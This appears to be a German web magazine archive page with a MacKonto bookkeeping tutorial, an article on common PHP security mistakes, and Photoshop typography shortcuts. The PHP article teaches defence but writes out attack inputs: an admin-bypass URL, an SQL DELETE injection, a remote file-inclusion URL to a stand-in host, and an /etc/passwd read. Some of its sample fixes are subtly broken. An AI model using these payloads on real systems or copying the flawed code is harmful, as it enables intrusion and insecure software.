Bevor Sie den ersten Beleg buchen können, müssen Sie den entsprechenden Geschäftspartner, also eine Firma anlegen. Dazu gehen Sie in das Modul „Firmen“. Dort sehen Sie eine Übersicht Ihrer schon angelegten Firmen. Nun klicken Sie auf den Button „Neu“ und geben die entsprechenden Informationen in die Felder ein.

Im Modul Firmen können Sie neue Geschäftspartner anlegen …

… verwalten. Änderungen speichern Sie mit einem Klick auf „Firma sichern“.

In 9 Schritten zur ersten Buchung

Nun können wir über den Button „Buchen“ unsere erste Buchung vornehmen. Wenn Sie auf den entsprechenden Button in der Schaltzentrale klicken, öffnet sich ein Dialogfenster, welches Sie entsprechend ausfüllen müssen.

Ein Buchungsfenster

Nehmen wir einmal an, Sie möchten eine Einnahme eines Kunden verbuchen. Der Kunde hat Sie schon per Überweisung bezahlt. Die Rechnung für Ihre Dienstleistung oder Ihr Produkt beläuft sich auf 1190,00 Euro brutto. Dann gehen Sie folgendermaßen vor:

Schritt 1:

Wählen Sie aus der Liste rechts das entsprechende Buchungskonto aus. Als Beispiel nehmen wir Erlöse 19%. Dieses wird dann automatisch in das Feld „Konto“ übernommen, wie die folgende Abbildung zeigt.

Schritt 2:

Die Betreffzeile lautet ebenfalls automatisch: „Erlöse 19% USt.“. Dies können Sie ändern und einen frei wählbaren Betreff eintragen, wie die folgende Abbildung zeigt.

Tipp: Ich empfehle Ihnen, immer als Betreff die Rechnungsnummer (oder wenn nicht vorhanden die Belegnummer) und den Kunden / Lieferanten zu verwenden. Beispiel: Rechnung 10000/2010, Kunde XYZ.

Schritt 3:

Wählen Sie nun zwischen Ausgabe und Einnahme. Danach geben Sie noch den entsprechenden Umsatzsteuer-Satz an. In unserem Beispiel ist dies „Umsatzsteuer 19%“.

Schritt 4:

Nun folgt der Bruttobetrag der gestellten Rechnung. In unserem Fall sind dies 1.190,00 Euro. Diesen tragen Sie ins Feld „Brutto“ ein.

Schritt 5:

Anschließend ordnen Sie die Buchung noch einem Finanzkonto (also Bank oder Kasse zu). Falls Sie schon einen entsprechenden Kontoauszug haben, können Sie hier auch die Position und das Blatt eintragen.

Im gleichen Schritt können Sie, falls vorhanden, die Buchung einer Online-Banking Transaktion zuordnen. Nach diesem Schritt wird der aktuelle Kontostand automatisch angezeigt.

Schritt 6:

Im fünften Schritt ordnen Sie der Buchung einen entsprechenden Geschäftspartner zu. Da es sich hier um eine Einnahme handelt, ist die zugeordnete Firma logischerweise ein Kunde.

Die Zuordnung erfolgt im Feld „Kurzform“.

Achtung: Hier ist nicht die Kundennummer, sondern die bei der Firma im Feld „Kurzform“ eingetragene Bezeichnung zu verwenden!

Schritt 7:

Nun folgen die entsprechenden Eintragungen in den Feldern: „Kostenstelle“, „Projekt“ und „Kategorie“.

Tipp: Sie können beliebig viele Kostenstellen, Projekte und Kategorien festlegen. Ich empfehle Ihnen jedoch aus Gründen der Übersicht nicht zu viele verschiedene Eintragungen zu verwenden. Beispielsweise reichen die Kostenstellen: Einkauf, Vertrieb, Verwaltung, Technik und Marketing meiner Meinung nach vollkommen aus. Im Feld „Projekt“ empfehle ich Eintragungen nach folgendem Muster: Auftrag 1000/2010.

Im Feld Kategorie können Sie „geschäftlich“oder eine frei wählbare Bezeichnung eintragen.

Schritt 8:

Im vorletzten Schritt wählen Sie noch die entsprechende Einkunftsart aus. Dies ist wichtig, falls Sie Einnahmen aus verschiedenen Einkunftsarten beziehen. Falls Sie diesbezüglich unsicher sind empfehle ich die Kontaktierung Ihres Steuerberaters.

Schritt 9:

Nun können Sie die Buchung speichern. Sie haben die Möglichkeit über den Button „Buchen“ die Buchung zu speichern und das Dialogfeld zu verlassen oder mit dem Button „Buchen und bleiben“ weitere Buchungen einzugeben.

Die vorgenommene Buchung erscheint nun einerseits auf dem Buchungsjournal, in dem entsprechenden Finanzkonto und bei dem jeweiligen Kunden unter der Registerkarte „Finanzen“ -> „Buchungen“.

Was tun bei zeitlicher Verzögerung zwischen Rechnungsstellung und Zahlungseingang?

Für solche Fälle, die bei Ihnen als Freiberufler wohl die Regel sein dürften, bietet die Software „MacKonto“ den Button „Offene Posten“. Nehmen wir an, Sie stellen einem Kunden eine Rechnung mit einem Zahlungsziel zum 15. Des Folgemonats. Dann müssen Sie, bevor Sie den Beleg über den Button „Buchen“ eingeben, diesen vorher über den Button „Offene Posten“ und dann „Neu“ anlegen.

Folgende Schritte sind für die Eingabe notwendig:

Schritt 1:

Wählen Sie zwischen einer Verbindlichkeit und einer Forderung aus. In unserem Fall ist der Rechnungsbetrag eine Forderung an den Kunden.

Schritt 2:

Dann tragen Sie nacheinander das entsprechende Belegdatum, die OP-Nummer (diese kann entweder automatisch vom System vergeben werden oder manuell eingetragen werden), die Rechnungsnummer und wie auch schon bei dem Buchendialog die Kurzform des Geschäftspartners ein. Danach ergänzen Sie noch einen entsprechenden Betreff (Abbildung 6.1.).

Schritt 3:

Dann folgen wie auch im Buchendialog die Eingabe der Kostenstelle, des Projekts und der Kategorie.

Schritt 4: Dieser Schritt ist für die Offene-Posten-Verwaltung natürlich sehr wichtig, denn nun tragen Sie in den nächsten Feldern nacheinander den Fälligkeitstermin (15. des Folgemonats) und eventuell gewährte Skonti ein.

Falls Sie keine Skonti gewähren, tragen Sie in den entsprechenden Feldern einfach „0“ ein.

Schritt 5:

Im vorletzten Schritt folgt nun noch die Angabe der richtigen Einkunftsart.

Schritt 6:

Im letzten Schritt müssen Sie nur noch das richtige Konto angeben, den Netto- oder den Bruttobetrag und dann mit dem Button „Buchen“ oder dem Button „Buchen und bleiben“ die Buchung abschließen.

Hinweis: Hier ist auf die richtige Angabe des Kontos zu achten. Sie müssen die richtige Kontonummer entsprechend dem Kontenrahmen angeben. In der Regel wird dann automatisch der richtige Umsatzsteuer-Satz in das entsprechenden Feld eingetragen und bei Eingabe des Netto- oder Bruttobetrages automatisch errechnet. Sie brauchen also nur einen der beiden Beträge eingeben.

Unterhalb der Eingabefelder wird dann die entsprechende Transaktion angezeigt. Auf diese Weise können Sie auch Splittbuchungen auf verschiedene Konten vornehmen. Wenn beispielsweise eine Rechnung sich aus verschiedenen Beträgen (mit 7 % und 19 % Mehrwertsteuer) zusammensetzt.

Einen offenen Posten in eine Buchung überführen

Um nun einen offenen Posten (wenn dieser bezahlt wurde) in eine Buchung zu überführen gehen Sie in drei einfachen Schritten vor.

Schritt 1:

Sie rufen das Menü „Buchen“ auf und wechseln zur Registerkarte „Offene Posten“.

Die Offene-Posten-Verwaltung

Schritt 2:

Nun wählen Sie wie gewohnt, den entsprechenden Geschäftspartner aus und tragen ihn in das Feld „Kurzform ein“.

Schritt 3:

Im letzten Schritt brauchen Sie dann nur noch aus der Liste rechts den zugehörigen offenen Posten auswählen und markieren. Die entsprechenden Felder werden automatisch ausgefüllt. Zum Schluss wählen Sie noch das entsprechende Finanzkonto und die Einkunftsart aus.

Sie markieren, den offenen Posten, MacKonto füllt die grün hinterlegten Felder eigenständig aus.

Auch hier können Sie die Buchung wieder einer vorhandenen Online-Banking Transaktion zuweisen. Dann schließen Sie die Buchung mit einem Klick auf den Button „Buchen“ ab. Oder Sie klicken auf den Button “Buchen und bleiben“ und geben weitere Buchungen ein.

Die Eingabe von Anlagegütern

Bevor Sie ein Anlagegut abschreiben können, müssen Sie dieses zuvor erst in die Buchhaltung mit aufnehmen. Dazu gehen Sie in das Menü „Anlagen“ und dort auf den Button „Neu“. In der Registerkarte „Wirtschaftsgut“  können Sie nun das Anlagegut entsprechend eintragen. Diese Maske erklärt sich weitestgehend von selbst.

Die Registerkarte „Wirtschaftsgut“

Danach können Sie im Register „Abschreibungen“ die entsprechende Abschreibung des Wirtschaftsgutes eingeben.

Die Registerkarte „Abschreibungen“

Tipp: Da das Thema Abschreibungen ein recht komplexes sein kann, empfehle ich hier dringend, falls Unklarheiten bezüglich entsprechender Eintragungen bestehen, den Steuerberater Ihres Vertrauens um Rat zu fragen.

Führen des Fahrtenbuches und der Reisekostenabrechnung

Die Reisekostenabrechnung, sowie das Führen des Fahrtenbuches sind in Bezug auf die Eingabemasken ähnlich selbsterklärend wie das Anlegen von Abschreibungen. Beim Fahrtenbuch ist noch zu beachten, ähnlich wie bei den Anlagegütern, dass vor der Eingabe der Fahrten erst ein entsprechendes Fahrzeug angelegt werden muss

Außerdem kann ich die sehr ausführliche und kompetent verfasste Dokumentation Handbuch E/Ü-Buchhaltung msu-line X.7, das Sie kostenfrei herunter laden können, nur empfehlen.

Wenn Sie Ihre Angaben vollständig gemacht haben und alle nötigen Buchungen vorgenommen haben, so ist es ein Leichtes, die Umsatzsteuer-Voranmeldungen und später die EÜR zu erledigen. Diese beiden Formulare werden auf Grund der von Ihnen gemachten Angaben weitestgehend selbst vom Programm ausgefüllt und erstellt.

Doch gerade hier gilt natürlich, dass Sie die Angaben sehr genau prüfen sollten. Man sollte sich nicht ausschließlich auf Computerprogramme verlassen. Den gesunden Menschenverstand sollte man nie ausschalten. Bei Unklarheiten oder Unsicherheiten sollten Sie in jedem Fall Ihren Steuerberater fragen.

Fazit

Das Programm „Mackonto“ kann ich nur jedem Freelancer wärmstens empfehlen. Dieses trotz seiner Komplexität einfach und auch vor allem für Laien leicht zu bedienende Programm deckt alle Bereiche der Buchhaltung für einen Freiberufler oder Selbständigen umfassend ab. Und das für die meisten von Ihnen sicherlich mit am wichtigsten ausfallende Kriterium ist der geringe Preis in Höhe von nur 119,90 Euro brutto (unverbindliche Preisempfehlung auf der Seite des Herstellers) für eine Einzelplatzversion. Damit können Sie Ihre Buchhaltung schnell und unkompliziert selbst erledigen und haben dabei gleichzeitig mehr Zeit für die wichtigen Dinge, nämlich Ihre eigentliche Arbeit.

Für all diejenigen unter Ihnen, die sich noch andere Bürosoftware für den Mac anschauen möchten, liste ich nachfolgend die einzelnen Links zu den verschiedenen Anbietern auf:

Damit können Sie selbst entscheiden, welches Programm Sie für Ihre tägliche Büroarbeit nutzen möchten.

(mm),

Kategorien
Webdesign

10 einfache aber vermeidbare PHP-Programmierfehler

Vanessa Vasile

Jeder Programmierer hatte schon einmal mit peinlichen Programmierfehlern zu tun, die leicht zu Sicherheits- oder Stabilitätsproblemen bei Scripten und Anwendungen führen können. Ob sie nun aufgrund von Unerfahrenheit oder vereinzelter fauler Angewohnheiten der Entwickler gemacht wurden, viele dieser Fehler sind weiter verbreitet, als Sie denken und dennoch komplett vermeidbar.

In den letzten paar Jahren, in denen ich Server administriert habe, habe ich jede Menge Programmierfehlen gesehen, die zu gehackten Sites und Serverzusammenbrüchen geführt haben und das Anwendervertrauen zerstörten. Ich habe eine Liste der am meisten verbreiteten Fehler zusammengestellt, die ich sowohl bei Novizen als auch bei erfahrenen PHP-Programmierern sehe und ich verrate auch, wie man sie behebt.

Fehler 1: Nicht mit der Zeit gehen

Ich weiß, was in Ihnen vorgeht – ich habe eine Großmutter, die immer noch eine Kamera mit Film benutzt. Wenn Sie immer noch in aller Zufriedenheit mit PHP 4 programmieren in dem Wissen, dass Ihre Scripte den Bach runtergehen, sollten sie jemals neueren Versionen ausgesetzt werden, müssen Sie Ihre Prioritäten wirklich neu bewerten. Nehmen Sie sich etwas Zeit, um Ihren Code in einer moderneren Entwicklungsumgebung aufzubauen und herauszufinden, welche Teile nicht funktionieren und was Sie reparieren müssen. Das braucht definitiv seine Zeit, ist die Sache aber wirklich wert.

Fehler #2: Verwendung von Register Globals

Willkommen im Jahr 2000. Die PHP-Entwickler und Anhängergemeinden raten seit mittlerweile mehr als 10 Jahren von der Verwendung von register_globals ab, aber das ist bei vielen Programmierern der alten Schule und Entwicklerneulingen, die weiterhin dieser nicht anzuratenden Programmierpraxis frönen, immer noch nicht angekommen.

Für manche sind register_globals einfach nur die Art und Weise, in der sich PHP verhält. Für alle anderen, die sich ihrer Sicherheitsauswirkungen bewusst geworden sind, hat die kleine Unbequemlichkeit, EGPCS-Variablen (Environment, GET, POST, Cookie, Server) zu definieren, eine große Tragweite beim Schutz gegen unbeabsichtigte Sicherheitsexploits. Lassen Sie uns dieses einfache Beispiel nehmen, das Teil des PHP-Codes in einer login.php-Datei am empfangenden Ende eines Formulars ist, das eine Passwortvariable sendet:

if (isset($_POST['password']) && $_POST['password'] == "SK^*#@J4") {
$admin = TRUE;
}
if($admin == TRUE){
echo "You're an admin!";
}

Ich brauche nicht das Login-Formular zu verwenden, um mich gegenüber dem Script als Admin auszuweisen. Wenn ich aus dem Browser /login.php?admin=1 aufrufe und register_globals eingeschaltet sind, identifiziert PHP die GET-Variable für $admin und generiert sie im Fluge und weist ihr den Wert TRUE zu. Das hätte vermieden werden können, indem man die Variable $admin durch Hinzufügen des folgenden Codes am Anfang des Scripts initialisiert:
$admin = FALSE;
Ich betone an dieser Stelle, dass register_globals an sich nicht notwendigerweise das Problem sind, sondern eher die Aktionen der Entwickler, die das Konzept von globalen Variablen in einer Weise missbrauchen, die eine Webanwendung beschädigen kann. Am Besten fahren Sie, wenn Sie die Verwendung von register_globals komplett deaktivieren, anstatt Ihrem Code Pflaster aufzulegen.

Der erste Schritt, mit dem Sie sich von register_globals abnabeln, ist einfach deren Deaktivierung in php.ini and dann nachzusehen, ob Ihre Site funktioniert. Die Teile Ihrer Site, die dadurch betroffen werden, sind einleuchtenderweise die, die POST– und GET– Eingaben empfangen, wie zum Beispiel Formulare. Obwohl die Verwendung von register_globals eins der am weitesten verbreiteten Probleme ist, die ich sehe, ist es wahrscheinlich das am einfachsten zu lösende – schalten Sie sie aus und deklarieren Sie EGPCS-Variablen, bevor Sie sie verwenden. Ein Glück für Sie, dass PHP 5.3 register_globals nicht mehr als gültige Einstellung anerkennt.

Fehler #3: Verwendung unsicherer Authentifizierung

Sie denken vielleicht, dass die Leute nicht versuchen, in Ihre Site einzubrechen, aber sie tun es.  Jeden Tag werden Seiten gehackt, weil schlecht implementierte Authentifizierungsmethoden eingebaut wurden, einfach nur, weil sie leicht einzurichten waren. Wenn es darum geht, sensible Informationen zu schützen, sollten Sie niemals mit bequemen Programmiertechniken pokern.

An jeder Stelle Ihrer Site, an der Authentifizierung erforderlich ist, um auf sensible Informationen zuzugreifen, sollten Sie zumindest grundlegende Sicherheitsmaßnahmen bei der Verschlüsselung und Speicherung von Passwörtern, Cookies und Sitzungsdaten treffen. Nachstehend finden Sie einige sehr einfache Tutorials für die Erstellung eines sichereren Login-Systems für eine Webanwendung:

Fehler #4: Keine Validierung von Eingaben

Wir alle haben schon von einer MySQL-Injection gehört, zu der es kommen kann, wenn jemand MySQL-Befehle in ein Textfeld eingibt, das mit der Datenbank kommuniziert, um die Datenbank dazu zu bewegen, etwas zu tun, was sie nicht tun sollte. Ich verwende das einfachste und berühmteste Beispiel für eine MySQL-Injection – hier ist der erste Teil des Codes, der einen Usernamen als POST-Variable akzeptiert:

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$name'";

Sagen wir mal, jemand friemelt an meinem Formular herum und sendet in dem Feld username die folgende MySQL-Anweisung:

DELETE FROM users WHERE 1 or username = '"

In einem nicht validierten Formular würde das die komplette Usertabelle in der Datenbank auslöschen. Das obige Beispiel könnte man angehen, indem man die Funktion mysql_real_escape_string um den Wert von $username wickelt.

Aber was tun in anderen Fällen, in denen es nicht eine Datenbank ist, die attackiert wird? Validierung ist der Schlüssel für jedes Formular, das Daten verarbeitet – ob Sie nun Live-Validierung mit Ajax verwenden oder die Verantwortung für das Filtern von Eingabe-Strings PHP überlassen.

Fehler #5: Verantwortungslose Verwendung von GET-Variablen

Nehmen wir eine sehr einfache URL-Struktur: http://example.com/index.php?page=page

Für jeden, der sich dieses Formular von außen ansieht, ist das keine große Sache – in PHP-Scripts setzen wir dauernd GET-Variablen ein. Für Hacker ist das jedoch eine Goldmine für das Ausbeuten von Code, wobei Sie sich an der Möglichkeit festhalten, dass die GET-Variable tatsächlich nicht gefiltert wird.  Lassen Sie uns einen Blick auf die index.php werfen:

if(!empty($_GET['page'])){
$content = $_GET['page'];
$fh = fopen($content, "r");
while (!feof($fh)) {
$line = fgets($fh);
echo $line;
fclose($fh);
}

Der obige Code fängt einfach den Wert von $content der URL ein und verwendet ihn, um eine lokale Datei mit demselben Namen zu laden. Natürlich sind wir jetzt offen dafür, dass so etwas wie das hier passiert:
http://example.com/index.php?file=http://badsite.com/badscript.pl
oder
http://example.com/index.php?file=/etc/passwd
Wenn man schlechte Programmierung generell einmal beiseite stellt, kann das vorstehende Problem durch die Verwendung von ein paar Funktionen verhindert werden, die das Vorhandensein und die Standorte von GET validieren: file exists und dirname:

if(!file_exists($content) OR $dirname != "/home/user/public_html"){
echo "Cannot display content";
}

Das alles führt zur Verwendung von richtigen Validierungstechniken zurück. Jedes Mal, wenn Sie GET- oder POST-Variablen verwenden, sollte Ihr Script wissen, wie es auf unerwartete Eingaben zu reagieren hat. Und Sie sollten niemals GET-Variablen verwenden, um Informationen zu definieren, die leicht missbraucht werden können – wie etwa, ob ein User eingeloggt ist. Folgendes wäre zum Beispiel eine sehr schlechte Idee:
http://example.com/index.php?user=me&logged_in=1

Fehler #6: Der Loopus furiosus

Wir alle kennen den „Loopus furiosus“. Das ist, was passiert, wenn Sie eine while-Schleife basierend auf einer Bedingung haben, die niemals erfüllt werden kann und Sie enden mit einem außer Kontrolle geratenen Script und einem wütenden Host der sich bereit macht, Sie herunterzufahren.

Hier ein Beispiel für einen Loopus furiosus:

$i = 1;
while ($i <= 1000) {
// missing $i++;
echo $i;
}

Basierend auf dem obigen Code wird $i niemals 1.000 sein und daher wird die Schleife ewig weiterlaufen, da sich $i nicht erhöht.

Wenn Sie while-Schleifen verwenden, insbesondere auf der Basis von Bedingungen, stellen Sie sicher, dass es möglich ist, die Bedingung der Schleife zu erfüllen und legen Sie fest, was stattdessen passieren soll, wenn das nicht geschieht. Ein einfacher Weg ist es, den Wert max_execution_time einzustellen, damit der Loopus furiosus nicht ewig laufen kann.

Fehler #7:  Freie TMIs herausgeben

Das Standardverhalten von PHP, Fehler auszuspucken, ist für Sie, den Entwickler, sehr nützlich. Wissen Sie, für wen das auch nützlich ist? Für Personen, die Ihre Site hacken wollen.

Manchmal, wenn die Dinge nicht wie erwartet laufen und einem PHP-Script aus der Patsche geholfen werden muss, bietet es ein paar Informationen zu viel an:

PHP Warning:  Invalid argument supplied for foreach() in /home/user/public_html/includes/secret/process.php on line 806
Warning: mysql_connect(): Access denied for user: 'username@localhost' (Using password: YES) in /home/user/public_html/includes/mysql.class.php on line 75

Tun Sie sich selbst einen Gefallen und behalten Sie die Daten zum Debuggen für sich selbst. In php.ini können Sie Fehlermitteilungen deaktivieren, indem Sie display_errors auf Off stellen und Sie sollten das auch mit log_errors tun, so dass Fehlerlogs gar nicht generiert werden. Wenn Sie Ihre Fehlerlogs brauchen, deaktivieren Sie den Browserzugriff darauf, indem Sie eine einfache .htaccess-Regel verwenden:

order allow,deny
deny from all

Fehler #8: Falsche Anwendung von Semikolons

Ich kann Ihnen nicht sagen, wie oft das passiert – die Verwendung von Semikolons in if- und while-Anweisungen, bevor eine Aktion aufgerufen wird. Das beendet im Wesentlichen den Ablauf und führt Code aus, der auf einer Bedingung hätte basieren sollen:

if ($logged_in == TRUE);
{
display_very_sensitive_info();
}

Das kann ein Problem sein, wenn Sie die folgenden Funktionen verwenden:

  • if
  • while
  • for
  • foreach
  • switch
  • declare

In PHP werden Semikolons immer dazu verwendet, um eine Anweisung zu beenden. Behalten Sie jedoch im Hinterkopf, dass Kontrollfunktionen ohne ihre Aktionen nicht vollständig sind.

Fehler #9:  Verwendung von falschen Operatoren

Das ist ein Fehler, der im Allgemeinen von eher ungeübten Programmierern gemacht wird, ich kann jedoch nicht behaupten, dass ich nicht gelegentlich immer noch den Tippfehler mache und ein Gleichheitszeichen in einer Bedingung auslasse:

if($logged_in = "1"){
echo "You're logged in!";
}

Das ist schlimmer als die Verwendung von register_globals, in denen ich auf die Schnelle eine Variable generiert habe, die den richtigen Wert, der durch eine komplexere Berechnung festgelegt wurde, überschreibt, die jetzt sinnlos ist.  Es ist wichtig, dass Sie Ihre Operatoren nicht durcheinander bringen, insbesondere dann, wenn Gleichheitszeichen verwendet werden, die Werte definieren und vergleichen.

Fehler #10: Denken, dass man Sie nicht kriegen kann

Der letzte Punkt, den ich machen werde ist, dass Sie, wenn Sie denken, es gibt keine Möglichkeit, dass Sie jemals ein Problem haben werden, wahrscheinlich falsch liegen.

Sicherheit ist ein fortlaufender Prozess, eine Schlacht und ein Kampf. Es ist Ihr Job als Entwickler, sich über die neuesten Sicherheitstrends auf dem Laufenden zu halten und Ihre Anwendungen gründlich zu testen, bevor Sie sie ausliefern.

Ich habe festgestellt, dass die Befolgung der Grundlagen, die ich in diesem Artikel auseinandergesetzt habe, ein ausgezeichneter Trittstein sind, um Anwendungen sicher zu machen. Aber vergessen Sie nicht, Sie müssen wie ein Hacker denken und egal, wie gut Sie als Programmierer sind, es wird immer jemanden geben, der besser ist.

(mm),

Kategorien
Bilder & Vektorgrafiken bearbeiten Design Photoshop

Photoshop und Typografie – Tipps und Tastaturkürzel

Thomas Gannatasio (Übersetzung Manuela Müller)

Photoshop ist eine Bild- und keine Textverarbeitung. Bei Entwürfen von Websites kommt es jedoch oft vor, dass Sie Textblöcke mit Photoshop gestalten müssen. Im vierten und letzten Teil der Serie finden Sie Tipps zu Anti-Aliasing, typografischen Anführungszeichen sowie Tastaturkürzel für Sonderzeichen und häufig verwendete Befehle im Zusammenhang mit Textauszeichnung und -formatierung.

Nützliche Tipps

Dezimale Punktgrößen für verbesserts Anti-Aliasing

Menschen mit einem Hang zur Typografie mögen bei der Vorstellung dezimaler Punktgrößen vielleicht die Nackenhaare zu Berge stehen. Bei Designarbeiten für digitale Medien haben Sie jedoch ein Problem: Die Standardpunktgrößen stimmen nicht immer mit dem Pixelraster überein. Indem Sie dezimale Punktgrößen verwenden und dazu die Anti-Aliasing Option Stark oder Glätten, können Sie verschwommene Schriftzüge für gewöhnlich wieder scharf darstellen.

Anti-Aliasing der Formebene

Falls die empfohlenen Algorithmen von Photoshop zu unerwünschten Resultaten führen, möchten Sie es vielleicht auf anderem Wege versuchen, nämlich indem Sie den Text in eine Formebene umwandeln. Dadurch erhalten Sie Zugang zu den original Umrissen der Schrift, was wiederum zu Werten führt, die auf dem prozentualen Anteil der in der Form enthaltenen Pixel basiert. Sie opfern zwar die Editierbarkeit des Texts, dafür gewinnen Sie jedoch an Ursprüngen in der Transformation: 32 sowohl auf der X-Achse als auch auf der Y-Achse (weitere Informationen zum Rendern via Transformation finden Sie in Teil 2 dieser Artikelserie). Auch wenn Sie diese Maßnahme an letzter Stelle erwägen, ganz außen vorlassen, sollten Sie die Möglichkeit, mit Formebenen zu arbeiten, nicht. Damit erzielen Sie häufig bessere Ergebnisse als mit den Algorithmen von Photoshop.

Der Einsatz von Dezimalwerten kann das Anti-Aliasing verbessern. Oben: 16 pt Goudy Oldstyle mit der Option „Stark“; Unten: 16,5 pt Goudy Oldstyle mit Anti-Aliasing „Stark“.

Typografische Anführungszeichen

Es ist guter Stil, typografische Anführungszeichen zu verwenden. Soweit verfügbar, sollten Sie die gewschungenen den geraden Anführungszeichen vorziehen. Erfreulicherweise erlaubt Photoshop es Ihnen, gerade Anführungszeichen automatisch durch typografische zu ersetzen. Öffnen Sie dazu den Dialog Voreinstellungen (Tastaturkürzel: Apfel / Steuerung + K) und wechseln Sie dort in den Bereich Text.

Sie sehen dort mehrere Optionen; die erste heißt Typografische Anführungszeichen verwenden. Wenn Sie die Option aktivieren, werden künftig alle Anführungszeichen und Beistriche (Apostroph) durch die typografische Variante ersetzt. Hinweis: Manche Schriftsätze haben keine typografischen Anführungszeichen.


Die obere Variante sieht eindeutig besser aus.

Harter Zeilenumbruch versus Bedingter Zeilenumbruch versus Abstand nach

Zeilen voneinander abzusetzen ist ein recht verbreiteter Vorgang. Dennoch geschieht das häufig nicht auf ideale Weise. Einfach die Eingabetaste zu drücken, genügt oft nicht. Wenn Sie auf Enter drücken, wird ein so genannter harter Zeilenumbruch in den Text eingefügt. Dies kennzeichnet das Ende eines Abschnitts und sollte nur als solcher verwendet werden. Obwohl es gängige Praxis ist, sollten Sie sich davon verabschieden, Textabschnitte mit zwei Zeilenumbrüchen voneinander abzusetzen.

Sie können die Datenmenge reduzieren und die Abstände zwischen Absätzen wesentlich komfortabler und flexibler steuern, indem Sie nur eine Zeilenschaltung eingeben und die Option Abstand nach in der Absatz-Palette verwenden. Damit richten Sie sämtliche Abstände exakt gleich aus und Sie können das Maß mit einem Klick variieren.

In manchen Fällen – etwa bei mehrzeiligen Adressblöcken – kann das natürlich zu unerwünscht großen Abständen führen. Hier kommen weiche oder bedingte Zeilenumbrüche ins Spiel. Indem Sie die Umschalten- und die Eingabetaste gleichzeitig drücken, fügen Sie einen weichen Zeilenumbruch ein. Dieser Umbruch wird von Photoshop nicht als Ende des Abschnitts gewertet, es wird also kein Abstand nach eingefügt, und Sie können individuell festlegen, wo Ihr Text innerhalb des Abschnitts umbrochen werden soll.

Sonderzeichen

Jeder Schriftsatz hat typischerweise diverse Zeichen, die über den Standardsatz hinausgehen. Manche dieser Zeichen sind zugänglich, indem Sie bestimmte OpenTyp-Funktionen aktivieren. Das ist aber nicht bei allen Sonderzeichen möglich. Sofern Sie Adobe Illustrator Ihr eigen nennen, können Sie die absolut nützliche Sonderzeichen-Palette verwenden, um sämtliche Sonderzeichen anzuzeigen, auf die Sie keinen direkten Zugriff haben. Die benötigten Zeichen können Sie dann kopieren und in die Textebene von Photoshop einfügen.

Falls Sie ohne Illustrator auskommen müssen, können Sie eine Systemanwendung einsetzen, um die Sonderzeichen anzuzeigen. Unter Max OS X aktivieren Sie die Zeichenpalette der Systemeinstellungen. Am schnellsten geht das über die Tastenkombination Auswahl + Befehlstaste (Apfel) + T.

Tastaturkürzel für Symbole und Sonderzeichen

Sonderzeichen

Zeichen Bedeutung Mac Windows
EN Dash / Halbgeviertstrich Option + 2 Alt + 0150
EM Dash / Geviertstrich Option + Shift + – Alt + 0151
TM Unregistrierte Warenmarke Option + 2 Alt + 0153
® Eingetragene Waren- oder Dienstleistungsmarke Option + R Alt + 0174
© Copyright-Zeichen Option + G Alt + 0169
§ Paragraphenzeichen Option + 6 Alt + 0167
Absatzendzeichen Option + 7 / Option + 3 (bei Tastaturen ohne Nummernblock) Alt + 0182
Aufzählungszeichen Option + 8 Alt + 0149
Auslassungszeichen Option + ; Alt + 0133
Kreuzzeichen Option + ; Alt + 0134
Doppelkreuz Option + Shift + 7 Alt + 0135
¡ umgekehrtes Ausrufezeichen Option + 1 Alt + 0161
¿ umgekehrtes Fragezeichen Option + ? Alt + 0191
ª Ordinalzeichen weiblich Option + 9 Alt + 0170
º Ordinalzeichen männlich Option + 0 Alt + 0186
¦ gebrochene vertikale Linie Alt + 0150

Diphtonge

Diphtonge Buchstaben Mac Windows
Æ AE Option + Shift + ‚ Alt + 0198
æ ae Option + ‚ Alt + 0230
ΠOE Option + Shift + Q Alt + 0140
œ oe Option + Q Alt + 0156

Ligaturen

Zeichen Mac
fi    fi Option + Shift + 5
fl    fl Option +Shift + 6
ß    Eszett Option + S

Tastaturkürzel für Befehle

Wirkung Mac Windows
Textauswahl anzeigen/verbergen cmd + H Strg + H
Änderungen übernehmen cmd + Eingabe (Return) Strg + Eingabe
Änderungen verwerfen Esc Esc
Textfarbe ändern in Vordergrundfarbe Wahltaste + Rückschritt-Taste Strg + Rückschritttaste
Harte Zeilenschaltung Eingabe Eingabe

Schrift auszeichnen

Wirkung Mac Windows
Fett cmd + Shift + B Strg + Shift + B
Kursiv cmd + Shift + I Strg + Shift + I
Hochgestellt cmd + Shift + « Strg + Shift + «
Tiefgestellt cmd + Shift + » Strg + Shift + »
Großbuchstaben cmd + Shift + K Strg + Shift + K
Kleinbuchstaben cmd + Shift + H Strg + Shift + H
Unterstrichen cmd + Shift + U Strg + Shift + U
Durchgestrichen cmd + Shift + ? Strig + Shift + ?

Text ausrichten

Wirkung Mac Windows
Linksbündig cmd + Shift + L Strg + Shift + L
Zentriert cmd + Shift + C Strg + Shift + C
Blocksatz, letzte Zeile links cmd + Shift + J Strg + Shift + J
Blocksatz, alle Zeilen cmd + Shift + F Strg + Shift + F

Abstände und Größe ändern

Wirkung Mac Windows
Schriftgröße um 2 Pt reduzieren cmd + Shift + < Strg + Shift + <
Schrifgröße um 2 Pt erhöhen cmd + Shift + > Strg + Shift +>
Schriftgröße um 10 Pt reduzieren cmd + Wahltaste + Shift + < Strg + Alt + Shift + <
Schriftgröße um 2 Pt erhöhen cmd + Wahltaste + Shift + > Strg + Alt + Shift + >
Zeilenabstand um 10 Pt erhöhen cmd + Wahltaste + ↑ Strg + Alt + Shift + ↑
Zeilenabstand um 10 Pt reduzieren cmd + Wahltaste +↓ Strg + Alt + Shift + ↓
Laufweite um 20 Einheiten erhöhen Wahltaste + ← Alt + ←
Laufweite plus 20 Einheiten reduzieren Wahltaste + → Alt + →
Laufweite um 100 Einheiten erhöhen cmd + Wahltaste + ← Strg + Alt + ←
Laufweite plus 100 Einheiten reduzieren cmd + Wahltaste + → Strg + Alt + →
Grundlinienversatz um 2 Pt erhöhen Wahltaste + Shift ↑ Alt + Shift + ↑
Grundlinenversatz um 2 Pt reduzieren Wahltaste + Shift ↓ Alt + Shift + ↓
Grundlinienversatz um 10 Pt erhöhen cmd + Wahltaste + Shift ↑ Strg + Alt + Shift + ↑
Grundlinienversatz um 10 Pt reduzieren cmd + Wahltaste + Shift ↓ Strg + Alt + Shift + ↓

Rückgängig machen

Wirkung Mac Windows
Schriftauszeichnungen (fett, kursiv, hoch-/tiefgestellt, Groß-/Kleinbuchstaben, durgestrichen und unterstrichen) cmd + Shift + Y Strg + Shift + Y
Vertikale Skalierung auf 100 % zurücksetzen cmd + Shift + X Strg + Shift + X
